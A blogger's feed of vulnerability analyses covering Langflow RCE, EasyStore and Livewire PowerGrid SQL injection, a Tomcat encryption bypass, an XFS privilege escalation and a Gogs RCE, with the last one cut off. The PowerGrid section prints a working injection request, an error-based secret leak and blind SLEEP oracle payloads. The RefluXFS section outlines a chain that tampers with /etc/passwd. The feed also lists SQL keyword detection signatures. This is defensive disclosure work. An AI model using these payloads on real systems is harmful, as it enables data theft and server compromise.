DEV Community: GUIDANCE WHITE

CVE-2026-33017: Langflow Unauthenticated Remote Code Execution

GUIDANCE WHITE — Wed, 12 Aug 2026 06:01:33 +0000

1. CVE-2026-33017

A vulnerability in Langflow allows unauthenticated remote code execution (RCE).

It stems from a feature that lets users run a shared flow without logging in. The endpoint accepts attacker-supplied flow data without validation and executes the code contained within it — meaning an attacker can execute arbitrary code on the server with no authentication at all.

Langflow is an open-source tool for visually building AI workflows by connecting blocks such as chat input, model calls, document retrieval, API requests, and output display.

This vulnerability affects Langflow deployments that expose flows publicly. Running a public flow requires no authentication, so an attacker only needs the target flow's identifier to execute arbitrary code on the server — potentially leading to full system compromise.

Item	Details
CVE ID	CVE-2026-33017
Affected Product	Langflow (open-source AI workflow/agent builder, 140k+ GitHub stars)
Vulnerability Type	CWE-306 (Missing Authentication for Critical Function) + CWE-94 (Code Injection)
CVSS	9.8 (Critical) under v3.1; GitHub's own v4 score is 9.3
Impact	Unauthenticated arbitrary Python code execution (full system compromise)
Affected Versions	All versions prior to 1.9.0
Patched Version	1.9.0

2. The Vulnerable Feature: "Public Flow"

Langflow has a public flow feature that lets others run a workflow without logging in — designed for exposing demos or chatbots externally. By itself, this is a legitimate design.

The endpoint behind it:

POST /api/v1/build_public_tmp/{flow_id}/flow

This endpoint is intentionally unauthenticated. The problem is that the request also accepted an optional data parameter.

3. The Real Problem: Untrusted Input on a Trusted Path

Correctly, running a public flow should only load and execute the flow definition stored in the database. A caller should be able to say "run this flow," but not dictate the flow's actual contents.

Instead, when a data parameter was present in the request, the endpoint used the value from the request body instead of the value from the database. A request meaning "run this flow_id" could effectively become "run this flow_id, but replace what actually executes with the data I'm sending now."

Langflow's flow data is organized into nodes (components), and each node can embed a Python code snippet via the custom component feature. This let an attacker smuggle a node containing arbitrary Python code inside the data parameter.

4. Tracing the Code Path

build_public_tmp() — the endpoint handler; no auth check, accepts data as-is.
create_graph() — should enforce "public flows are read from the DB only," but if data is present, it builds the graph from attacker-supplied data instead.
eval_custom_component_code() — extracts and evaluates each node's Python code, treating the attacker's injected snippet as legitimate node code.
prepare_global_scope() → exec() — the extracted code is passed directly to exec(). No sandboxing, no input validation, no whitelist. Code entering exec() runs with the same privileges as the server process.

The core issue isn't a single buggy function — it's a broken trust boundary. build_public_tmp → create_graph was supposed to assume "this request is unauthenticated, so trust the DB value only," and the data parameter broke that assumption. eval_custom_component_code and exec() were designed to process already-trusted flow data, so neither had independent validation logic.

Accordingly, the GitHub security advisory's fix didn't try to sandbox exec() — it removed the data parameter from the endpoint entirely and forced public flows through the build_graph_from_db() path only. The fix prevents dangerous code from ever entering the execution path, rather than trying to block it once it's already there.

5. Attack Requirements

At least one public flow must exist on the target instance (common for demo/chatbot deployments)
Or, if the default AUTO_LOGIN=true is enabled, an attacker could create a public flow directly via the unauthenticated auto-login path
The public flow's UUID (typically exposed in the shared link, easy to obtain)
No credentials required

6. Mitigation

Upgrade to Langflow 1.9.0+ — the only verified fix. (Some reports claimed an intermediate 1.8.x patch, but reproductions showed it remained exploitable.)
If immediate upgrade isn't feasible:
- Disable the public flow feature, or avoid it unless necessary
- Review the AUTO_LOGIN default and disable it if not required
- Don't expose the Langflow API directly to the internet — put it behind an authenticating proxy or firewall
- Add a WAF/proxy rule to detect and block requests to build_public_tmp that include a data parameter

EasyStore (Joomla) filter_sortby Pre-Authentication SQL Injection (CVE-2026-65761)

GUIDANCE WHITE — Tue, 11 Aug 2026 05:41:49 +0000

1. Overview of CVE-2026-65761

EasyStore is an e-commerce extension component for Joomla, distributed by developer JoomShaper. The product listing page accepts a request parameter called filter_sortby so users can choose a sort order. This value is split into a column name and a sort direction (ASC/DESC), and the direction value was inserted directly into the ORDER BY clause of the SQL query with no validation whatsoever.

Security firm mySites.guru discovered the issue and privately disclosed it to JoomShaper on July 22, 2026. The company bundled three vulnerabilities together — SQL Injection, unauthenticated order forgery, and cross-customer invoice disclosure — and silently patched them in version 2.0.2. No separate security advisory was published.

Target: JoomShaper EasyStore (Joomla extension)
Affected versions: 1.0.0 – 2.0.1
Patched version: EasyStore 2.0.2
CWE: CWE-89 (SQL Injection)
CVSS 4.0: 9.3 (Critical)

2. Why the Sort Direction Is Dangerous

The basic rule of SQL Injection defense is: "never trust user input — always escape it or use parameter binding (prepared statements)." However, an ORDER BY ... ASC / ORDER BY ... DESC style sort direction is one of the few places where this principle cannot be applied directly.

Why can't it be bound? Parameter binding (the ? placeholder) is a mechanism for safely passing a value. But ASC/DESC isn't a value — it's a keyword (reserved word) in SQL syntax. Even if you place it in a bound parameter slot, the database won't interpret it as syntax. That's why developers must hard-code a whitelist check directly into the application: "accept only ASC or DESC, reject everything else."

EasyStore is exactly where this whitelist validation was missing. Interestingly, the sorting features for the Brand list and Collection list within the same component did have this validation implemented correctly — the check was missing only from the Product list sorting path. In other words, this wasn't a case of the developers "not knowing" the risk; it's a classic implementation-omission bug where the same logic was reimplemented in multiple places and one location was simply missed.

3. The Vulnerable Flow, in Code

The code below is a reconstructed example based on the behavior (file names, line numbers, and processing logic) described in the public vulnerability report. It is not identical to the actual source, but it's sufficient to understand the structure of the vulnerability.

① FilterHelper.php:741 — returns the direction value as-is, with no validation

// Conceptual reconstruction
public function getSortDirection($request)
{
    $direction = $request->getString('filter_sortby_direction', 'ASC');
    return $direction; // returned without any whitelist check
}

The defense that should have been in place looked something like this. Reconstructing, as an example, the logic that appears to actually exist in the Brand/Collection list helper:

// What correct validation looks like (Brand/Collection helper)
public function getSortDirection($request)
{
    $direction = strtoupper($request->getString('filter_sortby_direction', 'ASC'));
    return in_array($direction, ['ASC', 'DESC'], true) ? $direction : 'ASC';
}

② ProductsModel.php:923 — the unvalidated value is concatenated directly into the query string

// Conceptual reconstruction
$sortColumn    = $db->quoteName($this->getState('filter.sort_column'));
$sortDirection = $this->getSortDirection($request); // unvalidated

$query->order($sortColumn . ' ' . $sortDirection); // direct string concatenation

Why doesn't quoteName() help here?
Joomla's $db->quoteName() and $db->quote() are the standard defense tools for safely escaping identifiers (column/table names) and values, respectively. But the $sortDirection in this vulnerability is neither an identifier nor a value — it's part of SQL syntax (a keyword). quoteName('column') only wraps a column name in backticks, and wrapping the direction value with quote('value') would turn it into ORDER BY col 'DESC', which is a syntax error. So the direction value can only be defended with a whitelist, not escaping — and it's precisely that whitelist that was missing.

③ The vulnerable query, assembled conceptually

The actual exploit payload is not disclosed, but combining the two code paths above produces a final executed query with roughly this shape:

SELECT * FROM #__easystore_products
ORDER BY price {ATTACKER-CONTROLLED SQL EXPRESSION}

In the one slot where only the two words ASC or DESC should ever be allowed, an attacker-controlled arbitrary SQL expression can be inserted directly. To demonstrate the issue without extracting real data, mySites.guru said it confirmed successful injection using a time-based technique — deliberately delaying the database response under specific conditions. A response delayed by several seconds compared to a normal request serves as evidence that the injected statement executed.

4. Attack Flow

A request reaches the product listing endpoint with a crafted filter_sortby parameter.
The direction segment is extracted without validation.
The value is concatenated directly into the ORDER BY clause.
The database executes attacker-controlled SQL as part of the sort expression.
Success/failure is inferred via a time-based side channel (response delay), without needing to read result data directly.

5. Remediation

Update immediately: If you're running EasyStore, upgrade to 2.0.2 or later. Because it was patched silently with no separate security notice, it's easy to overlook by only skimming the changelog.
Review WAF rules: Confirm that SQL-keyword-based filtering rules (UNION, SLEEP, information_schema, etc.) are also applied to filter_sortby-style parameters.
Least-privilege DB accounts: Verify the DB account used by the web application doesn't have unnecessary permissions to query information_schema or superuser-level access.
Review logs: Check recent access logs for requests where the filter_sortby parameter contained anything other than ASC/DESC — quotes, parentheses, or SQL keywords.

CVE-2026-34486 Analysis — Apache Tomcat EncryptInterceptor Bypass

GUIDANCE WHITE — Sat, 08 Aug 2026 07:24:02 +0000

CVSS 3.1: 7.5 (High) · CWE: CWE-311 / CWE-807 · Disclosed: 2026-04-09
Type: Missing Encryption / Protection Mechanism Bypass

Summary at a Glance
Background: Relation to CVE-2026-29146
Root Cause Analysis (Source Code)
Attack Flow
Impact & Severity
Affected Versions
Mitigation
Conclusion

Summary at a Glance

CVE-2026-34486 is a vulnerability in Apache Tomcat's cluster communication protection component, EncryptInterceptor, which can be fully bypassed under certain conditions. This component is normally responsible for encrypting messages exchanged between Tomcat cluster nodes to preserve confidentiality. However, an incomplete fix for a prior vulnerability (CVE-2026-29146, a padding oracle) misplaced the "what happens when decryption fails" control flow, introducing a regression where plaintext (or otherwise unverified) messages pass through even when encryption is configured.

⚠️ Why it matters
This goes beyond simple information exposure. Because Tomcat's clustering layer, Apache Tribes, deserializes incoming messages, disabling the encryption check means attacker-controlled bytes can reach the deserialization stage without validation. Combined with a known gadget chain, this could escalate to unauthenticated remote code execution (RCE) — a real-world risk that arguably exceeds what the raw CVSS score suggests.

Background: Relation to CVE-2026-29146

CVE-2026-29146 was a padding oracle vulnerability in the decryption logic of EncryptInterceptor. An attacker could observe decryption failure signals (error responses, timing differences, etc.) to gradually decrypt ciphertext — a classic side-channel issue.

To fix this, the Tomcat team modified the code so that decryption exceptions were caught, preventing the oracle signal from leaking externally. In doing so, however, the accompanying control-flow logic — "if decryption failed, processing of this message must stop here" — was dropped. The exception was caught and logged, but execution was allowed to continue to the next processing stage anyway. This is a textbook case of a patch for one vulnerability introducing a more severe bypass.

Figure 1. How the CVE-2026-29146 patch led to the CVE-2026-34486 regression

Root Cause Analysis (Source Code)

The core issue lives in the messageReceived() method of org.apache.catalina.tribes.group.interceptors.EncryptInterceptor. Below is a simplified illustration of the flawed structure.

Vulnerable version (after the CVE-2026-29146 patch)

// ⚠️ VULNERABLE
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error("Unable to decrypt cluster message", gse);
        // exception caught and logged, but no further action taken
    }
    super.messageReceived(msg);  // ← called unconditionally, outside the try-catch
}

The key problem is that super.messageReceived(msg) sits outside the try-catch block. That means:

If decryption succeeds → xbb is replaced with the decrypted plaintext and passed to the next interceptor (intended behavior)
If decryption fails → the exception is caught and xbb is never replaced, but the original message bytes (which may be unencrypted) are still forwarded, unmodified, to super.messageReceived(msg)

🔴 In practice, this means sending an unencrypted message causes decrypt() to throw, that exception is silently logged, and the message is still passed on to the next processing stage — including deserialization — with no validation. EncryptInterceptor effectively becomes a no-op.

Fixed version (conceptual structure after the patch)

// ✅ FIXED
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error("Unable to decrypt cluster message, dropping message", gse);
        return;  // stop processing immediately on decryption failure
    }
    super.messageReceived(msg);  // only reached if decryption succeeded
}

The fixed version adds an explicit return on decryption failure, ensuring unvalidated messages never propagate further. It's a classic reminder for code review: catching an exception is not the same as handling it safely.

Attack Flow

This flaw becomes a real threat because Tomcat's clustering framework, Apache Tribes, deserializes incoming messages into objects. Once EncryptInterceptor is bypassed, a path opens for attacker-controlled bytes to reach that deserialization stage unchecked.

Figure 2. Attack chain from EncryptInterceptor bypass to potential RCE (conceptual)

ℹ️ This write-up covers only the structural root cause and conceptual attack flow. Actual gadget chain payloads or exploit reproduction steps are intentionally omitted — even for a patched CVE, weaponized reproduction steps are not something to publish. For environment testing, follow official vendor guidance and your organization's internal security procedures.

Impact & Severity

Metric	Value
Attack Vector (AV)	Network — remotely exploitable if the cluster port is reachable
Attack Complexity (AC)	Low
Privileges Required (PR)	None — no authentication required
User Interaction (UI)	None
Confidentiality Impact	High — cluster messages exposed in plaintext, with potential escalation to RCE
CVSS 3.1	7.5 (High) / `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

The official CVSS vector only scores confidentiality (C) impact as High. But given the real-world context that cluster messages get deserialized, there's a realistic path to chained integrity and availability impact. Prioritizing purely by the raw CVSS score risks underrating this issue.

Affected Versions

Product	Affected Version	Fixed Version
Apache Tomcat 9.x	9.0.116	9.0.117
Apache Tomcat 10.1.x	10.1.53	10.1.54
Apache Tomcat 11.0.x	11.0.20	11.0.21

This vulnerability is only meaningful in clustered deployments (i.e., a <Cluster> configuration with EncryptInterceptor applied). Single-instance deployments without clustering are not affected.

Mitigation

Patch immediately — upgrade to 9.0.117 / 10.1.54 / 11.0.21 or later.
Network-level defense — until patched, restrict the cluster port (default 4000) to trusted nodes only, and consider adding network-level encryption such as IPsec or a VPN tunnel.
Verify cluster encryption post-patch — independently confirm that inter-node communication is actually encrypted after upgrading.
Monitor for anomalous traffic — add detection rules for unusual scanning or connection attempts against the cluster port.
End-of-life versions — if running an unsupported legacy version, evaluate commercial extended support options (e.g., HeroDevs NES).

Conclusion

CVE-2026-34486 is a textbook example of a security patch introducing a new vulnerability. In fixing a padding-oracle side-channel by catching an exception, the accompanying control-flow question — "should processing continue after this failure?" — was overlooked, effectively neutralizing the encryption component it was meant to protect.

CVE-2026-65971: A Complete Walkthrough of the Livewire PowerGrid sortDirection SQL Injection

GUIDANCE WHITE — Wed, 05 Aug 2026 23:49:16 +0000

1. The attack surface — a public Livewire property is user input

In Livewire, any public property on a component is a field the client can write to directly through a POST /livewire/update request. That's not a bug — it's how Livewire is designed to work.

// src/Concerns/Sorting.php
public string $sortField = 'id';        // line 11
public string $sortDirection = 'asc';   // line 13

Neither property is declared with a whitelist or validation rule. The only code that touches sortDirection directly is this:

public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

There's a hook, updatedSortDirection() (line 103), that would be the natural place to validate it — but in the vulnerable version it only handles lazy-loading concerns and never inspects the value itself. The result: sortDirection is a fully attacker-controlled arbitrary string.

2. The vulnerable sink — the placeholder `naturalSort()` plants

naturalSort() is PowerGrid's column macro for sorting strings the way humans expect numbers to sort.

// src/Providers/Macros.php, 102-116
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
    $this->enableSort();

    if ($when) {
        $this->rawQueries[] = [
            'method'   => 'orderByRaw',                          // ← raw sink
            'sql'      => Sql::sortStringAsNumber($this->dataField),
            'bindings' => [],
        ];
    }

    return $this;
});

The generated SQL string differs slightly per database driver, but every branch ends in the same literal placeholder (src/DataSource/Support/Sql.php, lines 60-100):

$default = "$sortField+0 {sortDirection}";                                                             // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                             // SQLite

Which means this bug is database-driver independent — it doesn't matter whether the app runs on MySQL, PostgreSQL, or SQLite.

The point where that placeholder actually gets swapped for a real value is the true sink:

// src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php
private function resolvePlaceholders(?string $sql): ?string   // line 56
{
    if (is_null($sql)) {
        return null;
    }

    return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
        $property = trim($matches[1]);

        return data_get($this->component, $property, '');   // line 65 — no escaping
    }, $sql);
}

...and executed on the very next line:

$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

data_get($this->component, 'sortDirection') returns the attacker's raw string, preg_replace_callback splices it into the SQL text, and it's handed to orderByRaw() — a function whose contract explicitly assumes the caller already sanitized the input.

Notably, the very same class has a safe parameter-binding path, resolveBindings(), two lines below. naturalSort simply never uses it ('bindings' => []) — and to be fair, ORDER BY direction keywords like asc/desc sit in a SQL position where parameter binding isn't syntactically valid in the first place. A whitelist was really the only correct answer here.

The full taint chain

POST /livewire/update
  → public string $sortDirection            (Sorting.php:13, unvalidated)
  → data_get($component, 'sortDirection')   (ColumnRawQueries.php:65)
  → "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))"
  → orderByRaw($sql)                        (ColumnRawQueries.php:52)
  → MySQL / MariaDB / PgSQL / SQLite / MSSQL

Diagram walkthrough: this shows the three-stage path attacker input travels to reach the database. Stage 1 (light blue) is where the unvalidated $sortDirection property is declared. Stage 2 is where that value gets embedded as a placeholder inside a raw SQL string. Stage 3 (dark navy, the vulnerable point) is where the placeholder is substituted with the real, unescaped value and handed to orderByRaw(). The arrows trace the exact direction the attacker's data flows.

3. The interesting part — how Laravel's own validation got bypassed

Stopping the analysis here would make this just another "raw SQL, no escaping" story. What makes this CVE worth a deeper look is that Laravel's built-in defense was already present — and it still got sidestepped.

PowerGrid processes queries through a pipeline, and two stages touch sort direction:

① The Sorting pipeline — src/DataSource/Processors/Database/Pipelines/Sorting.php

public function handle(mixed $query, Closure $next): mixed
{
    if (filled($this->component->sortField)) {          // line 21 ← this is the crux
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

orderBy() is Laravel's validating API. Feed it anything other than asc/desc and it throws immediately:

InvalidArgumentException: Order direction must be "asc" or "desc".

In normal usage — a user clicks a column header, sending sortField=name and sortDirection=<payload> — this exception blocks the attack. At this point it would be easy to conclude "Laravel already mitigates this."

② The ColumnRawQueries pipeline — the second stage from earlier never references that validation at all. Its handle() unconditionally applies the raw query for any column configured with naturalSort, regardless of what sortField holds.

That asymmetry is the entire bug.

`sortField` value	`Sorting` pipeline	`ColumnRawQueries` pipeline	Result
`"name"` (non-empty)	Runs → `orderBy()` validates → throws on payload	Runs → injects	❌ Blocked by exception
`""` (empty string)	`filled('')` is `false` → skipped entirely	Runs → injects	✅ Injection succeeds

Setting sortField to an empty string causes the validating pipeline to skip itself. Meanwhile the raw pipeline still builds naturalSort's ORDER BY clause. Laravel's validation code is never invoked — it's not bypassed so much as the code path that contains it simply never executes.

The real attack, then, isn't a single field — it's a combination of two: sortDirection carries the payload, and sortField="" is the key that opens the door.

Diagram walkthrough: this shows the branching logic that decides which of two pipelines runs, based on the value of sortField. The left path (light blue) is the safe route taken when sortField is non-empty — orderBy()'s validation throws an exception and the attack is blocked. The right path (dark navy) is the route taken when sortField is empty — the validating pipeline is skipped, only the raw query pipeline runs, and injection succeeds. The payload box at the bottom shows the actual combination of both field values sent to the server.

4. The actual attack request

Every attack goes through Livewire's standard update endpoint. No special headers, custom routes, or admin functionality required.

Endpoint: POST /livewire/update

{
  "_token": "<CSRF token scraped from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot from the PowerGrid component>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

Field	Role	Value
`updates.sortDirection`	Injection point	SQL payload, prefixed with a valid direction keyword to keep the clause syntactically valid
`updates.sortField`	Bypass key	`""` — the empty string that skips the validating pipeline
`snapshot`	Plumbing	Scraped from the rendered `wire:snapshot="..."` attribute
`_token`	Plumbing	Scraped from `data-csrf="..."` or the page's CSRF blob

The SQL actually produced (from a MariaDB lab environment):

select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0

5. Proof — two independent verification techniques

Error-based proof

select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

This returns an HTTP 500 with a SQLSTATE[HY000] 1105 error, and the error message itself leaks the result of the injected subquery directly.

Blind time-based oracle

Request	Response time	Meaning
`asc`	0.02s	Baseline
`asc, (SELECT SLEEP(3))`	9.04s	Confirms injection executes
`asc, (SELECT SLEEP(3) WHERE secret LIKE 'TOPSECRET%')`	9.03s	TRUE — value matches
`asc, (SELECT SLEEP(3) WHERE secret LIKE 'ZZZ%')`	0.02s	FALSE — confirms oracle accuracy

The clean TRUE/FALSE separation is what proves this isn't just "the response got slow" — it's a working oracle that can exfiltrate arbitrary data character by character. (The 9-second delay for a 3-second SLEEP() happens because sorting applies the sleeping expression per row — if anything, this makes the signal stronger, not weaker.)

6. Patch analysis (v6.10.4)

The maintainer applied defense in depth across four separate locations. The core function:

// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

Not a blacklist, not a regex filter — a strict whitelist with a safe default. For a keyword that can never be passed as a bound parameter, this is really the only correct approach.

Applied at four points:

ColumnRawQueries::resolvePlaceholders() — the sink itself. {sortDirection} is now sanitized before substitution
Concerns\Sorting::updatedSortDirection() — sanitizes the moment the Livewire hook writes the value
Concerns\Sorting::sortBy() — sanitizes direction values passed as arguments too
Pipelines\Sorting::applySingleSort() / applyMultipleSort() — covers custom sortUsing callbacks as well (a second related path the maintainer closed beyond the original report's scope)

Cloning the v6.10.4 tag directly and checking every raw direction sink confirms the fix: the test suite passes (30/30), and fuzzing sanitizeSortDirection() with 17 payloads (time-based payloads, null bytes, SQL comments, hex literals, mixed case, whitespace padding, unicode) all converge to either asc or desc. Patch verified.

7. Remediation

Upgrading is the only real fix.

composer require power-components/livewire-powergrid:^6.10.4
composer audit

If an immediate upgrade isn't possible, a stopgap:

public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

Checking exposure

grep -rn "naturalSort" app/ resources/

If no columns use naturalSort, the primary raw ORDER BY path is never registered, so the main attack vector is unreachable. Note, though, that v6.10.4 also hardened the sortUsing callback path — so a custom sort callback that builds raw SQL directly could still be exposed regardless of naturalSort usage.

Detection signals

sortDirection values in POST /livewire/update bodies that aren't asc/desc (case-insensitive) — very low false-positive rate
The same request carrying an empty sortField alongside a meaningful sortDirection — the exact bypass signature
Values containing SQL keywords like SELECT, SLEEP, BENCHMARK, extractvalue, updatexml, 0x
Application error logs showing SQLSTATE[HY000] 1105 / SQLSTATE[42000] alongside an order by reference
A bimodal response-time distribution across otherwise-identical requests — a sign a blind oracle is being walked

CVE-2026-64600 "RefluXFS" — Rooting Linux Through an XFS Race Condition (Explained in Code)

GUIDANCE WHITE — Sun, 02 Aug 2026 23:54:18 +0000

TL;DR

With nothing more than a regular user account, an attacker can exploit a single timing bug in the Linux kernel's XFS filesystem to tamper with /etc/passwd or a SUID-root binary and escalate to root. The bug has existed since kernel 4.11 (2017) and was disclosed by Qualys TRU on July 22, 2026.

Item	Detail
CVE ID	CVE-2026-64600
Nickname	RefluXFS
Type	Local Privilege Escalation (LPE)
Root cause	Race condition in the XFS Copy-on-Write path
Affected scope	Any distro running XFS with `reflink=1` (default `mkfs.xfs` setting since 2019 on many enterprise distros: RHEL, Oracle Linux, Amazon Linux, Fedora, and others)
Exposure window	Kernel 4.11 (2017) through the patch
Notable trait	Leaves no kernel log entry, and the tampered file survives a reboot

Why This One Needs Code to Understand

This isn't a classic memory-corruption bug like a buffer overflow. It's a timing gap between two pieces of otherwise-correct kernel logic running concurrently. Without walking through the logic step by step, "so what's actually broken here?" doesn't land. So let's start with one concept.

reflink is an XFS feature that lets a file be "cloned" without actually copying its data (cp --reflink=always) — both files simply point at the same disk blocks. Only when one of the files is later written to does the kernel perform an actual copy (Copy-on-Write, CoW) to separate the two.

The bug lives inside exactly that "separate the blocks when a write happens" logic.

The Correct CoW Write Path (Pseudocode)

Assuming no bug, here's a simplified version of how XFS handles a write to a reflinked file.

// Simplified pseudocode for illustration only.
// Does not match real kernel source function names/implementation 1:1.

write(file, data) {
    lock(file.inode);                 // block other processes from touching it

    if (block.refcount > 1) {
        // this block is shared with another file -> can't write directly
        new_block = allocate_private_block();
        copy(block, new_block);       // actual CoW copy happens here
        remap(file, new_block);       // point the file at the new block
        block.refcount--;             // drop the original block's ref count
        target = new_block;
    } else {
        // this block is now exclusively mine -> safe to write directly
        target = block;
    }

    write_to_disk(target, data);
    unlock(file.inode);
}

Nothing wrong here — as long as the lock stays held from start to finish.

What the Kernel Actually Does: It Drops the Lock Midway

The problem shows up when transaction log space runs low. XFS is a journaling filesystem, so every metadata change must be logged first. If log space is tight, the write has to wait — and to avoid a deadlock while waiting, the kernel briefly releases the inode lock.

write(file, data) {
    lock(file.inode);

    if (block.refcount > 1) {
        // trouble starts here, when log space is low
        if (log_space_low()) {
            unlock(file.inode);       // <-- (1) lock dropped to avoid deadlock
            wait_for_log_space();     //     anything can happen during this wait
            lock(file.inode);         // <-- (2) lock re-acquired on return
        }

        // problem: what if refcount was already read before the lock was dropped?
        if (block.refcount > 1) {     // <-- (3) this value may no longer be current
            ...
        } else {
            target = block;           // decides to write directly to the ORIGINAL block!
        }
    }

    write_to_disk(target, data);      // <-- by now, acting on a stale judgment
    unlock(file.inode);
}

That's half the bug: a window exists where the lock is released.

How an Attacker Exploits That Window

Now a second thread (the attacker, Thread B) pushes its own write to the same reflinked file during that exact window.

// Thread A (the victim process, or a system process): running write() above
// Thread B (attacker, unprivileged user): writing to the same file concurrently

// Timeline:

// t0: Thread A takes the lock and enters write()
// t1: Thread A releases the lock while waiting on log space (step (1) above)
// t2: In that gap, Thread B takes the lock and completes its OWN CoW
Thread_B: {
    lock(file.inode);
    new_block = allocate_private_block();
    copy(block, new_block);
    remap(file, new_block);
    block.refcount--;             // refcount drops from 2 to 1!
    unlock(file.inode);
}

// t3: Thread A re-acquires the lock and resumes (step (2) above)
//     But Thread A already judged at t0 that "this block has refcount > 1" —
//     or, if it re-reads refcount after t2, it now sees refcount == 1 and
//     mistakenly concludes "this must be my own private block now"
//     — when in reality, Thread B just separated it
// t4: Thread A believes it's safely writing to a private block, and
//     write_to_disk() proceeds directly against the ORIGINAL physical block

The core issue: the refcount dropped to 1 not because "I just separated it," but because "someone else quietly did," and the kernel can't tell the difference. As a result, Thread A believes it's writing to its own private copy, but it's actually writing directly into the physical block still shared with the original file.

There's one more twist that seals the deal: O_DIRECT completely bypasses the kernel's page cache, so there's no cache-layer revalidation step to catch the mistake. The corrupted write goes straight through to disk, unchecked.

Why This Leads All the Way to Root

This single primitive — "I can overwrite the real disk blocks of any file I can read" — chains directly into root:

1. The attacker creates a reflink copy of /etc/passwd or a SUID-root
   binary (e.g. /usr/bin/su) inside a directory they own
   (creating a reflink often only requires read access to the source)

2. The attacker repeatedly triggers the race condition described above,
   so that "writing to my reflink copy" actually becomes
   "writing to the ORIGINAL physical blocks (i.e. the real /etc/passwd data)"

3. The root account's password field in /etc/passwd is cleared,
   or the su binary's code is tampered with to spawn a shell

4. This change:
   - leaves file ownership/permissions/setuid bits completely untouched
     (the inode itself is never modified)
   - leaves nothing in the kernel log
   - survives a reboot (it was written directly at the block layer)

In effect, the attacker swaps out the file's contents while leaving its metadata completely alone — so a tampered SUID-root binary keeps its setuid bit and keeps running as root indefinitely.

Why Existing Defenses Don't Stop It

Defense	Why it fails to help
KASLR / SMEP / SMAP	Designed against memory-corruption exploitation, not applicable to the block layer at all
SELinux (Enforcing)	Only normal syscalls (`write`, `ioctl`) are used, so no policy is ever violated
Kernel Lockdown	Doesn't restrict `O_DIRECT` or reflink creation (`FICLONE`) for unprivileged users
Seccomp	A typical profile allowing `write`/`ioctl` passes right through
Container isolation (namespaces, etc.)	The XFS reflink logic behaves identically inside a container's own volume

Because this bug is triggered by calling permitted syscalls in a permitted way — just at a specific moment in time — syscall filtering and permission-based defenses can't stop it by design. The only real fix is a change to the kernel's logic itself.

Conditions for Exposure (all three must apply)

Kernel v4.11 or later (2017 onward), unpatched
An XFS filesystem with reflink=1 on the superblock (the mkfs.xfs default since 2019)
The attacker has write access to some directory on the same XFS volume as the sensitive target file

Many enterprise distributions — RHEL, CentOS Stream, Oracle Linux, Rocky/AlmaLinux, CloudLinux, Amazon Linux, Fedora Server — meet these conditions by default. Debian/Ubuntu/SUSE don't default to XFS, but remain equally exposed if XFS + reflink was chosen manually at install time.

Mitigation

Applying the kernel patch and rebooting is the only reliable fix. (Merged upstream on July 16, 2026; distro backports are in progress.)
No configuration-level workaround is currently known.
On systems that may have been exposed, it's worth verifying the actual contents of /etc/passwd and SUID-root binaries against a trusted backup — metadata alone can't reveal whether tampering occurred.

Summary

RefluXFS isn't a "memory corruption" bug — it's a logic flaw that exploits the split-second moment two threads hand a lock back and forth. A few lines of ordering — release lock → wait → re-acquire lock → act on a stale value — turn into a full path to root, and it's a solid reminder of why race conditions remain one of the hardest vulnerability classes to defend against.

The code in this post is conceptual pseudocode meant to illustrate the vulnerability's logic flow. It is not working exploit code or an attack tool.

References

Qualys TRU, "RefluXFS: A Linux Kernel Local Privilege Escalation to Root in XFS (CVE-2026-64600)," July 22, 2026
CVE-2026-64600 (NVD / Red Hat / SUSE / Debian Security Tracker)

CVE-2026–52813: Remote Code Execution via Organization-Name Path Traversal in Gogs

GUIDANCE WHITE — Fri, 31 Jul 2026 00:48:00 +0000

1. Overview

Gogs is an open-source, self-hosted Git service written in Go. CVE-2026–52813 stems from missing validation on the organization name at creation time, and it escalates into something far more serious: an authenticated, ordinary user can write files to an arbitrary path on the server’s filesystem, and combine that with a Git hook to achieve remote code execution (RCE).

Because Gogs allows any signed-up user to create an organization by default, this means a plain user registration — with no admin privileges required — is enough to fully compromise the server. That’s exactly why it earned a perfect CVSS score of 10.0.

In this post, we’ll walk through the vulnerability at the source-code level and explain, in plain terms, why this particular code leads all the way to RCE.

2. Where It Starts: Missing Validation on the Organization Name

When an organization is created in Gogs, the org-creation logic in internal/database/org.go runs internally and creates a directory using the organization name as the folder name. The problematic code looks like this:

